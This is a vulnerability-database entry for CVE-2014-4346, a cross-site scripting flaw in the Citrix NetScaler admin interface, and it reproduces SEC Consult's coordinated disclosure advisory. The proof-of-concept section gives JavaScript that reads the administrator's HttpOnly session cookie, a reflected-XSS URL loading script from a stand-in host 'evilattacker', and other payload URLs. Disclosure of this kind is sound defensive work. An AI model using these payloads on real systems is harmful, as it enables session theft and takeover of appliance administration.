Sign-up

ID

VAR-201407-0463


CVE

CVE-2014-4346


TITLE

Citrix NetScaler Application Delivery Controller and NetScaler Gateway Vulnerable to cross-site scripting

Trust: 0.8

sources: JVNDB: JVNDB-2014-003365

DESCRIPTION

Cross-site scripting (XSS) vulnerability in administration user interface in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway (formerly Access Gateway Enterprise Edition) 10.1 before 10.1-126.12 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Citrix NetScaler Application Delivery Controller 10.x prior 10.1-126.12 and 9.x prior 9.3-62.4 are vulnerable. Note: Citrix NetScaler Gateway is formerly known as Citrix Access Gateway Enterprise Edition. A remote attacker can exploit this vulnerability to inject arbitrary web script or HTML. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SEC Consult Vulnerability Lab Security Advisory < 20140716-2 > ======================================================================= title: Multiple vulnerabilities product: Citrix NetScaler Application Delivery Controller Citrix NetScaler Gateway vulnerable version: <9.3-62.4 <10.1-126.12 fixed version: >=9.3-62.4 >=10.1-126.12 CVE: CVE-2014-4346, CVE-2014-4347 impact: High homepage: http://www.citrix.com found: 2014-01-05 by: Stefan Viehb\xf6ck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor/product description: - ----------------------------- "Citrix NetScaler helps organizations build enterprise cloud networks that embody the characteristics and capabilities that define public cloud services, such as elasticity, expandability and simplicity. NetScaler brings to enterprise IT leaders multiple advanced technologies that were previously available only to large public cloud providers." "As an undisputed leader of service and application delivery, Citrix NetScaler solutions are deployed in thousands of networks around the globe to optimize, secure and control the delivery of all enterprise and cloud services. They deliver 100 percent application availability, application and database server offload, acceleration and advanced attack protection. Deployed directly in front of web and database servers, NetScaler solutions combine high-speed load balancing and content switching, http compression, content caching, SSL acceleration, application flow visibility and a powerful application firewall into a single, easy-to-use platform." URL: http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html Business recommendation: - ------------------------ Attackers can exploit XSS and other vulnerabilities that lead to cookie disclosure to execute administrative actions. Affected Systems should be updated as soon as possible. Vulnerability overview/description: - ----------------------------------- 1) Cookie disclosure The error handler in the Apache g_soap module prints all of the request header information including the HTTP Cookie field. This vulnerability can be used in XSS attacks to gain access to the otherwise well protected (HttpOnly) "SESSID" cookie of an administrator. 2) Reflected Cross-Site Scripting (XSS) Citrix Netscaler suffers from multiple reflected Cross-Site Scripting vulnerabilities, which allow an attacker to steal user information, impersonate users and perform administrative actions on the appliance. There are many parameters which are not properly sanitized and thus vulnerable to XSS. Proof of concept: - ----------------- 1) Cookie disclosure A GET request to the SOAP handler returns the following information: GET /soap HTTP/1.1 Host: <host> *OTHER HEADER FIELDS* Response: HTTP/1.1 200 OK ... Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> ... <BODY> <H1>mod_gsoap Apache SOAP Server Error</H1> <p><strong>No body received</strong> ... <br>Cookie: SESSID=*SESSION ID*; ... In combination with an XSS vulnerability (see 2) an attacker can use the following code to extract cookies including the SESSID cookie of an administrator: var request = new XMLHttpRequest(); request.open('GET', '/soap', false); request.send(); lines=request.responseText.split('<br>') for (var i in lines){ if (lines[i].indexOf('Cookie')==0){ alert(lines[i]); break; } } 2) Reflected Cross-Site Scripting Accessing the following URL will include the Javascript code from http://evilattacker/evil.js: http://<host>/menu/topn?name=";<%2fscript><script+src%3d"http:%2f%2fevilattacker%2fevil.js"><%2fscript> Other pages do not sanitize user input properly as well: http://<host>/pcidss/launch_report?type=AA";alert('xss');x=" http://<host>/menu/guiw?nsbrand=AA<"'>AA&protocol=BB<"'>BB&id=CC<"'>CC Note: Content-Type is application/x-java-jnlp-file, so the injected script code is not interpreted. However, it is possible to inject arguments into a Java JNLP file, which might be used in further attacks. Vulnerable / tested versions: - ----------------------------- The vulnerabilities have been verified to exist in Citrix NetScaler VPX 10.0, which was the most recent version at the time of discovery. According to the vendor versions before 10.1-126.12 and 9.3-62.4 are vulnerable Vendor contact timeline: - ------------------------ 2014-01-09: Sending advisory and proof of concept exploit via encrypted channel. 2014-01-17: Vendor acknowledges receipt of advisory. 2014-04-04: Requesting status update. 2014-06-10: Vendor is "in the process of scheduling the release of a security bulletin". 2014-07-07: Requesting list of affected/non-affected versions CVE-IDs. 2014-07-07: Vendors is "still in the final stages of releasing the bulletin". 2014-07-07: Requesting info about cause of delay. 2014-07-07: Vendor is "still hopeful that the bulletin will be available soon". 2014-07-14: Vendor states that fixed version will be available on July 15/16. 2014-07-16: SEC Consult releases coordinated security advisory. Solution: - --------- Update to a more recent version of Citrix NetScaler. More information can be found at: https://support.citrix.com/article/ctx140863 Workaround: - ----------- No workaround available. Advisory URL: - ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested in working with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehb\xf6ck / @2014 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJTxmWgAAoJECyFJyAEdlkKWLYH/0wpELCJemzmkj2HaotFZJtt 4C4/hsHWGbxmi2VbeiwGvYKHtDsw2KBDWlTrVTef3UrBnbAv6jFncTCjOv3eU6Ze 9swUmwxzNB9zqGvhYwEpcO8tSQu0H3xDMvbpKqYvq2qaBSm4YmJyUrDlwwSkCUnq ycGqzfidkAXoMUu/6wdam5251zXcR33n1KRfr3AH65p/OoOXrvasgY395Cty9zqW yfBvEIEs845aE/gbjbp40qvroz1dG8Z2LP4ykFWywVme0imgSD6nv/33Z0tDmlcD f7JjK8F7R7Q8l4J54n0iclXCWZhoS3pfabd60NXMzMmxroMuksmiNycm7yLGfe4= =KicK -----END PGP SIGNATURE-----

Trust: 2.07

sources: NVD: CVE-2014-4346 // JVNDB: JVNDB-2014-003365 // BID: 68535 // VULHUB: VHN-72286 // PACKETSTORM: 127496

AFFECTED PRODUCTS

vendor:citrixmodel:netscaler application delivery controllerscope:eqversion:10.1

Trust: 1.6

vendor:citrixmodel:netscaler access gatewayscope:eqversion:10.1

Trust: 1.6

vendor:citrixmodel:netscaler application delivery controllerscope:eqversion: -

Trust: 1.0

vendor:citrixmodel:netscaler access gatewayscope:eqversion: -

Trust: 1.0

vendor:citrixmodel:netscaler application delivery controllerscope: - version: -

Trust: 0.8

vendor:citrixmodel:netscaler application delivery controllerscope:ltversion:10.1 thats all 10.1-126.12

Trust: 0.8

vendor:citrixmodel:netscaler gatewayscope: - version: -

Trust: 0.8

vendor:citrixmodel:netscaler gatewayscope:ltversion:10.1 thats all 10.1-126.12

Trust: 0.8

sources: JVNDB: JVNDB-2014-003365 // CNNVD: CNNVD-201407-362 // NVD: CVE-2014-4346

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2014-4346
value: MEDIUM

Trust: 1.0

NVD: CVE-2014-4346
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201407-362
value: MEDIUM

Trust: 0.6

VULHUB: VHN-72286
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2014-4346
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-72286
severity: MEDIUM
baseScore: 4.3
vectorString: AV:N/AC:M/AU:N/C:N/I:P/A:N
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: NONE
integrityImpact: PARTIAL
availabilityImpact: NONE
exploitabilityScore: 8.6
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-72286 // JVNDB: JVNDB-2014-003365 // CNNVD: CNNVD-201407-362 // NVD: CVE-2014-4346

PROBLEMTYPE DATA

problemtype:CWE-79

Trust: 1.9

sources: VULHUB: VHN-72286 // JVNDB: JVNDB-2014-003365 // NVD: CVE-2014-4346

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201407-362

TYPE

xss

Trust: 0.7

sources: PACKETSTORM: 127496 // CNNVD: CNNVD-201407-362

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2014-003365

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-72286

PATCH
title:CTX140863url:http://support.citrix.com/article/CTX140863
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2014-003365

EXTERNAL IDS
db:NVDid:CVE-2014-4346
Trust: 2.9
db:SECTRACKid:1030573
Trust: 1.7
db:SECTRACKid:1030572
Trust: 1.7
db:BIDid:68535
Trust: 1.4
db:SECUNIAid:59942
Trust: 1.1
db:JVNDBid:JVNDB-2014-003365
Trust: 0.8
db:CNNVDid:CNNVD-201407-362
Trust: 0.7
db:PACKETSTORMid:127496
Trust: 0.2
db:VULHUBid:VHN-72286
Trust: 0.1
sources:
            
            
            VULHUB: VHN-72286 // 
            
            
            
            BID: 68535 // 
            
            
            
            JVNDB: JVNDB-2014-003365 // 
            
            
            
            PACKETSTORM: 127496 // 
            
            
            
            CNNVD: CNNVD-201407-362 // 
            
            
            
            NVD: CVE-2014-4346

REFERENCES
url:http://support.citrix.com/article/ctx140863
Trust: 1.8
url:http://www.securitytracker.com/id/1030572
Trust: 1.7
url:http://www.securitytracker.com/id/1030573
Trust: 1.7
url:http://www.securityfocus.com/bid/68535
Trust: 1.1
url:http://www.securityfocus.com/archive/1/532802/100/0/threaded
Trust: 1.1
url:http://seclists.org/fulldisclosure/2014/jul/77
Trust: 1.1
url:https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-2_citrix_netscaler_multiple_vulnerabilities_v10.txt
Trust: 1.1
url:http://secunia.com/advisories/59942
Trust: 1.1
url:https://exchange.xforce.ibmcloud.com/vulnerabilities/94493
Trust: 1.1
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4346
Trust: 0.8
url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-4346
Trust: 0.8
url:http://www.citrix.com
Trust: 0.4
url:http://www.citrix.com/products/netscaler-application-delivery-controller/overview.html
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4346
Trust: 0.1
url:http://www.enigmail.net/
Trust: 0.1
url:http://<host>/menu/guiw?nsbrand=aa<"'>aa&protocol=bb<"'>bb&id=cc<"'>cc
Trust: 0.1
url:https://www.sec-consult.com
Trust: 0.1
url:http://<host>/menu/topn?name=";<%2fscript><script+src%3d"http:%2f%2fevilattacker%2fevil.js"><%2fscript>
Trust: 0.1
url:http://<host>/pcidss/launch_report?type=aa";alert('xss');x="
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2014-4347
Trust: 0.1
url:https://twitter.com/sec_consult
Trust: 0.1
url:http://blog.sec-consult.com
Trust: 0.1
url:http://evilattacker/evil.js:
Trust: 0.1
url:https://www.sec-consult.com/en/vulnerability-lab/advisories.htm
Trust: 0.1
sources:
            
            
            VULHUB: VHN-72286 // 
            
            
            
            BID: 68535 // 
            
            
            
            JVNDB: JVNDB-2014-003365 // 
            
            
            
            PACKETSTORM: 127496 // 
            
            
            
            CNNVD: CNNVD-201407-362 // 
            
            
            
            NVD: CVE-2014-4346

CREDITS
Stefan Viehböck of SEC Consult
Trust: 0.3
sources:
            
            
            BID: 68535

SOURCES
db:VULHUBid:VHN-72286
db:BIDid:68535
db:JVNDBid:JVNDB-2014-003365
db:PACKETSTORMid:127496
db:CNNVDid:CNNVD-201407-362
db:NVDid:CVE-2014-4346

LAST UPDATE DATE
2024-11-23T22:08:19.596000+00:00

SOURCES UPDATE DATE
db:VULHUBid:VHN-72286date:2018-10-09T00:00:00
db:BIDid:68535date:2014-07-21T00:19:00
db:JVNDBid:JVNDB-2014-003365date:2014-07-17T00:00:00
db:CNNVDid:CNNVD-201407-362date:2014-07-17T00:00:00
db:NVDid:CVE-2014-4346date:2024-11-21T02:10:00.743

SOURCES RELEASE DATE
db:VULHUBid:VHN-72286date:2014-07-16T00:00:00
db:BIDid:68535date:2014-07-14T00:00:00
db:JVNDBid:JVNDB-2014-003365date:2014-07-17T00:00:00
db:PACKETSTORMid:127496date:2014-07-16T22:42:07
db:CNNVDid:CNNVD-201407-362date:2014-07-17T00:00:00
db:NVDid:CVE-2014-4346date:2014-07-16T14:19:03.997